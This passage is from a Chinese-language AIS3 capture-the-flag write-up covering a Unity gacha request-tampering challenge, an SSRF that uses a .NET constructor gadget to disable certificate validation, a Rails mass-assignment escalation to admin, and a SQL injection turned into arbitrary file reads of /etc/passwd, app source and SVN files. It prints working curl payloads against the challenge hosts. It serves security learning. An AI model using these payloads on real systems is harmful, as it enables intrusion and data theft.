s1    = T2[i] XOR s2     （扣掉 s3 之後）
b     = (s1 - state - i) mod 256
state = (state + b*(i+1)) mod 256
1
2
AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}
final state = 229   （等於檢查的目標值）

AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}

哇!金色傳說

哇!金色傳說。 來抽武器感受割草的快感吧！

Flag 格式：^AIS3\{[A-Za-z_?]+\}$

跟 Hidden in the Cloak 同一個 Unity build，但這次標題把焦點推到 gacha，所以要看的是 Assembly-CSharp.dll。另外 flag 字元集允許 ?，暗示最後是一句以 ? 結尾的英文短句。

1
2
3
dotnet tool install -g ilspycmd
ilspycmd Reverse1_Data/Managed/Assembly-CSharp.dll -o decompiled/
grep -RInE "AIS3\{|flag|legend|golden|gacha" decompiled/

一樣沒有 AIS3{...} 字面值。但出現了 GachaServer、GachaUI、GachaStation、GachaTier，還有一個 GachaServerUrl backing field，遊戲會跟遠端伺服器溝通。

GachaServer.RollCoroutine：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public string GachaServerUrl { get; } = "http://chals1.ais3.org:50001";

private IEnumerator RollCoroutine(string url, int spend,
    Action<WeaponData, ArmorData, ArmorData> onDone)
{
    float num = UnityEngine.Random.Range(0f, 0.3f);   // <-- rate 在這裡產生
    GameManager instance = GameManager.Instance;
    string s   = instance?.PlayerName ?? "Anonymous";
    int    num2 = instance?.Gold      ?? 0;
    int    num3 = instance?.Score     ?? 0;
    int    num4 = instance?.KillCount ?? 0;

    string body =
        $"{{\"spend\":{spend},\"rate\":{num:F4}," +
        "\"username\":\"" + EscapeJson(s) + "\"," +
        $"\"gold\":{num2},\"score\":{num3},\"kills\":{num4}}}";

    using UnityWebRequest req = new UnityWebRequest(url, "POST");
    req.uploadHandler   = new UploadHandlerRaw(Encoding.UTF8.GetBytes(body));
    req.downloadHandler = new DownloadHandlerBuffer();
    req.SetRequestHeader("Content-Type", "application/json");
    req.timeout = 3;
    yield return req.SendWebRequest();
}

rate 由 client 端 Random.Range(0f, 0.3f) 產生，而且 client 之後完全不會再讀它、比較它、或拿它調整回應。唯一可能消費 rate 的只有 server。一個欄位的存在目的就是被送到 server、被 client 限制在 0.3 以下、而且永遠不會被驗證，它幾乎就是在喊「請竄改我」。

（順帶一提：GameManager 定義了三種 GachaTier（basic / premium / deluxe），有 rareChance 跟 legendChance，但 client 只送 spend 不送 tier，更加證實 rate 才是 server 用來決定獎品的鍵。）

先送個完全合法的請求確認 server 活著：

1
2
3
curl -sS -X POST http://chals1.ais3.org:50001 \
     -H 'Content-Type: application/json' \
     -d '{"spend":100,"rate":0.1,"username":"test","gold":1000,"score":0,"kills":0}'
1
2
3
4
{
  "weapon": {"name":"Spear I","damage":23.6},
  "armor":  {"name":"Leather Vest","slot":"Body","damageReduction":0.107}
}

正常抽就是正常裝備。直覺會想灌水 spend 或 gold（「我有一千萬金幣」），但題目只提「抽武器」跟「金色傳說」，而反編譯結果裡只有一個欄位是被 client 靜悄悄限制住的。固定其他變數，對 rate 二分搜尋：

1
2
3
4
5
6
7
for r in 0.0 0.05 0.1 0.15 0.2 0.25 0.29 0.3 0.31 0.35 0.4 0.5; do
  printf 'rate=%-4s → ' "$r"
  curl -sS -X POST http://chals1.ais3.org:50001 \
       -H 'Content-Type: application/json' \
       -d "{\"spend\":100,\"rate\":$r,\"username\":\"t\",\"gold\":1000,\"score\":0,\"kills\":0}" \
    | python3 -c "import sys,json;print(json.load(sys.stdin)['armor']['name'])"
done
1
2
3
4
5
6
7
8
9
10
11
12
rate=0.0  → Iron Chestplate
rate=0.05 → Iron Chestplate
rate=0.1  → Cloth Boots
rate=0.15 → Leather Vest
rate=0.2  → Leather Vest
rate=0.25 → Leather Vest
rate=0.29 → Cloth Boots
rate=0.3  → Cloth Boots
rate=0.31 → AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}
rate=0.35 → AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}
rate=0.4  → AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}
rate=0.5  → AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}

界限精確得誇張：只要 rate > 0.3，server 就把 armor 名稱換成 flag。題目其實一直在問的是「玩家有沒有竄改那個 client 從未公開的 luck 參數？」

AIS3{At_Least_U_DIDNT_MODIFY_MY_MONEY_RIGHT?}

Web

Give Me Flag

一個 .NET 8 網頁應用，會把 flag 以 POST 送往一個從外部解析不到的內部端點。

先看 docker-compose.yml：

1
2
3
4
FLAG                 = "AIS3{fake}"
Challenge__Host      = "flag-dropbox.givemeflag.internal"
Challenge__PostPath  = "/api/flag"
Challenge__Port      = "443"

所以真 flag 在環境變數裡，應用會把它送到 flag-dropbox.givemeflag.internal:443/api/flag，一個外部解析不到的主機名。

用 ILSpy 反編譯 GiveMeFlag.dll，在 FlagDeliveryService.cs 找到 SendAsync：它從首頁接收使用者提供的 TargetIp，用 UriBuilder 組 URL，強制 https 跟 443，然後把帶 flag 的 POST 送到 https://<TargetIp>:443/api/flag。

SSRF。但 .NET 的 HttpClient 預設會嚴格驗證 SSL 憑證，我拿自簽證書接不到。得先想辦法把全域憑證驗證關掉。

繼續翻，/Support 端點有個預覽支援卡片的功能，用了 PreviewComponentResolver.Create：接收使用者提供的字串 Template → 丟給 ParseDescriptor 抽出 metadata → Type.GetType(metadata) → Activator.CreateInstance。

也就是說，只要類別有公開的無參數建構子，我就能實例化應用程式已載入組件裡的任何類別。經典的類似反序列化的物件建構利用。

那就找一個「一被實例化就會改變全域狀態」的 gadget。題目裡塞了幾個龐大的 SharePoint DLL，翻 Microsoft.Office.Server.Search.Connector.dll 找到：

1
Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility

這個類別有個靜態建構子，會把全域的 ServicePointManager.ServerCertificateValidationCallback 改成強制回傳 true。實例化它就等於全域關掉整個 .NET 應用的 SSL 憑證驗證。

ParseDescriptor 是用 # 分割輸入，# 之後的文字成為 metadata，所以 payload 是：

1
dummy#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector

接收端起一個綁在 443、用自簽證書的 Python HTTPS server（CTF 給了 VPN，容器可以路由回我的機器）：

1
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1 -subj '/CN=x'

然後整條鏈串起來：先抓首頁的 __RequestVerificationToken，POST /Support?handler=Preview 帶著 payload 觸發 SSL 繞過（回 200 OK），再 POST / 把 TargetIp 設成我的 VPN IP（10.26.1.25）。本機 HTTPS server 立刻收到一個帶 flag 的 POST。

AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_4ad8d232c49243d4b4d4c6faa6545708}

Mass Rapid Transit

「AIS 捷運公司」的官網，有註冊跟登入。目標是提權成管理員進後台讀 flag。

導覽列有 /、/map、/stations、/lost_items、/riding-guide、/about、/login、/signup。首頁沒什麼，但「關於本公司」/about 有一段：

AIS 行控中心自主研發的 大量車輛調派系統（Mass Assignment System, MAS），以毫秒級的排程演算法協調橫跨三條路線的列車群。

MAS 的前端參數介面以 RESTful 更新 PATCH /fleet/:id，授權使用者可一次性批量變更多個屬性。

出題者已經把答案寫在牆上了。「Mass Assignment System」、PATCH /:id 的 RESTful 慣例（很 Rails）、「一次性批量變更多個屬性」，這題就是 Mass Assignment。

註冊一個帳號：

1
2
3
4
5
6
7
8
9
10
# 步驟 1：取得註冊頁面並擷取 CSRF token
CSRF=$(curl -s -c cookies.txt http://chals1.ais3.org:10003/signup \
  | grep 'authenticity_token' | grep 'value=' | head -1 \
  | sed 's/.*value="//' | sed 's/".*//')

# 步驟 2：提交註冊表單
curl -s -c cookies.txt -b cookies.txt \
  -X POST http://chals1.ais3.org:10003/signup \
  -d "authenticity_token=${CSRF}&user[username]=testuser&user[email]=testuser@test.com&user[full_name]=Test+User&user[password]=password123456&user[password_confirmation]=password123456&commit=建立帳號" \
  -L -o /dev/null -w "%{http_code}"

302 導向 /profile，角色顯示 旅客。

看 /profile 的表單原始碼：

1
2
3
4
5
6
7
8
9
10
11
12
13
<form data-turbo="false" action="/profile" accept-charset="UTF-8" method="post">
  <input type="hidden" name="_method" value="patch" autocomplete="off" />
  <input type="hidden" name="authenticity_token" value="<CSRF_TOKEN>" autocomplete="off" />

  <input type="text"     name="user[username]"         value="testuser" />
  <input type="email"    name="user[email]"            value="testuser@test.com" />
  <input type="text"     name="user[full_name]"        value="Test User" />
  <input type="tel"      name="user[phone]" />
  <input type="text"     name="user[favorite_station]" />
  <input type="password" name="user[password]" />

  <input type="submit" name="commit" value="儲存變更" />
</form>

_method=patch 隱藏欄位 + user[...] 巢狀參數 + authenticity_token = 標準 Rails。而且表單裡沒有 role 欄位，但個人資料頁明明顯示了角色。所以 users 表有 role 欄位，只是沒公開在介面上。

如果伺服器端用的是 params.require(:user).permit! 這種寬鬆寫法而不是明確列白名單，那多送一個 user[role]=admin 就會直接寫進去。

1
2
3
4
5
6
7
8
9
10
# 步驟 1：取得個人資料頁面以獲取新的 CSRF token
CSRF=$(curl -s -b cookies.txt -c cookies.txt http://chals1.ais3.org:10003/profile \
  | grep 'name="authenticity_token"' | grep 'value=' | head -1 \
  | sed 's/.*value="//' | sed 's/".*//')

# 步驟 2：發送 Mass Assignment 攻擊載荷
curl -s -b cookies.txt -c cookies.txt \
  -X POST http://chals1.ais3.org:10003/profile \
  -d "_method=patch&authenticity_token=${CSRF}&user[username]=testuser&user[email]=testuser@test.com&user[full_name]=Test+User&user[role]=admin&commit=儲存變更" \
  -o /dev/null -D - 2>&1 | head -5

302 導回 /profile，跟正常更新一模一樣的回應，沒報錯。重載頁面確認：

1
2
curl -s -b cookies.txt http://chals1.ais3.org:10003/profile \
  | grep -E '(badge|管理後台|admin)'
1
2
3
<span class="badge badge-admin">管理員</span>
<a class="btn btn-gold btn-sm" href="/admin">管理後台</a>
<a class="btn btn-gold btn-sm" href="/admin">前往管理後台 →</a>

成功！進後台：

1
2
curl -s -b cookies.txt http://chals1.ais3.org:10003/admin \
  | grep -A 8 'flag-block'

「內部公告」區塊有一則「【內部】系統金鑰與稽核紀錄」：

1
2
3
4
5
本次系統稽核金鑰如下，僅供授權管理員存取：

AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}

請勿外洩，稽核週期為每季一次。

AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}

MyGO!!! X Ave Mujica 圖庫

一個圖片庫網站，可以用 /image?id=<n> 看編號 1–6 的圖，也能上傳。題目描述提示「機器人禁止」，那就先看 robots.txt：

1
curl -s http://chals1.ais3.org:48763/robots.txt

內容只有一行：.svn。

出題者直接把 Subversion 的後設資料目錄點出來了。SVN 會在 .svn/ 下保存完整的工作副本資料庫 wc.db 以及每個被追蹤檔案的 pristine 原始版本。但直接打 /.svn/wc.db 回 404，.svn 不是靜態目錄，我需要一個讀檔原語。

/image?id=<n> 直接吃使用者輸入回檔，先試最直覺的 path traversal：

1
curl -i "http://chals1.ais3.org:48763/image?id=../.svn/entries"
1
HTTP/1.1 500 Internal Server Error

500 而不是 404 或回檔，代表 id 不是被直接拼進檔案路徑，而是在「處理這個值」的當下噴例外。在圖片庫情境下最常見的原因就是 SELECT path FROM images WHERE id = <input>。

1
2
3
curl -i "http://chals1.ais3.org:48763/image?id=1'"                                   # 500
curl -s -o /dev/null -w "%{http_code}\n" "http://chals1.ais3.org:48763/image?id=1%20AND%201%3D1"   # 200
curl -s -o /dev/null -w "%{http_code}\n" "http://chals1.ais3.org:48763/image?id=1%20AND%201%3D2"   # 500

1 AND 1=1 回 200 正常出圖，1 AND 1=2 回 500（query 回 0 筆，後面 fetchone() 拿到 None 再 index 就爆了）。不折不扣的 Boolean-based SQL Injection。

1
2
3
4
5
for i in 1 2 3 4 5; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "http://chals1.ais3.org:48763/image?id=1%20ORDER%20BY%20${i}--")
  echo "ORDER BY $i -> $code"
done
1
2
3
4
5
ORDER BY 1 -> 200
ORDER BY 2 -> 500
ORDER BY 3 -> 500
ORDER BY 4 -> 500
ORDER BY 5 -> 500

只有 1 個欄位。而那唯一一欄就是拿去回傳檔案的值，所以我在 UNION 裡塞什麼字串，server 就會拿去當檔案路徑開。先用 /etc/passwd 驗證：

1
curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/etc/passwd%27--"
1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

SQL Injection 正式升級成任意檔案讀取。拉原始碼：

1
curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/app.py%27--"
1
2
3
4
5
6
7
8
9
10
import sqlite3
from flask import Flask, send_file, request, g, render_template, jsonify
...
db = sqlite3.connect(":memory:", check_same_thread=False)
...
@app.get("/image")
def image():
    image_id = request.args.get("id")
    cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone()
    return send_file(cur[0])

f-string 拼 SQL，記憶體型 SQLite，工作目錄 /app。那 SVN repo 就在 /app/.svn：

1
2
3
4
5
curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/.svn/wc.db%27--" -o wc.db
file wc.db
# wc.db: SQLite 3.x database

sqlite3 wc.db "SELECT local_relpath, checksum FROM NODES WHERE kind='file';"
1
super_secret_starburst_flag114514.txt|$sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424

檔名一望而知。SVN 會把 commit 時的版本放在 .svn/pristine/<前兩個 hex>/<完整 sha1>.svn-base：

1
curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27%2Fapp%2F.svn%2Fpristine%2F38%2F38b96d193f20bfafaed25e54ac4c9f3e35607424.svn-base%27--"
1
AIS3{BangDream_AveMujica_Exitus_at_Taipei_8/8_and_I_don't_have_ticket}

送出去，被 CTFd 拒絕。

被 commit 進 SVN 的不是現行 flag。出題者在 commit 之後又改過磁碟上的檔案，pristine 是舊版本。改讀工作目錄裡的活檔：

1
curl "http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/app/super_secret_starburst_flag114514.txt%27--"
1
AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}

Taipei → Taiwan。這個 pristine vs. working copy 的版本差異就是這題刻意設計的陷阱：pristine 能證明 LFI 成功，但要再多讀一次活檔才算過關。

AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don’t_have_ticket}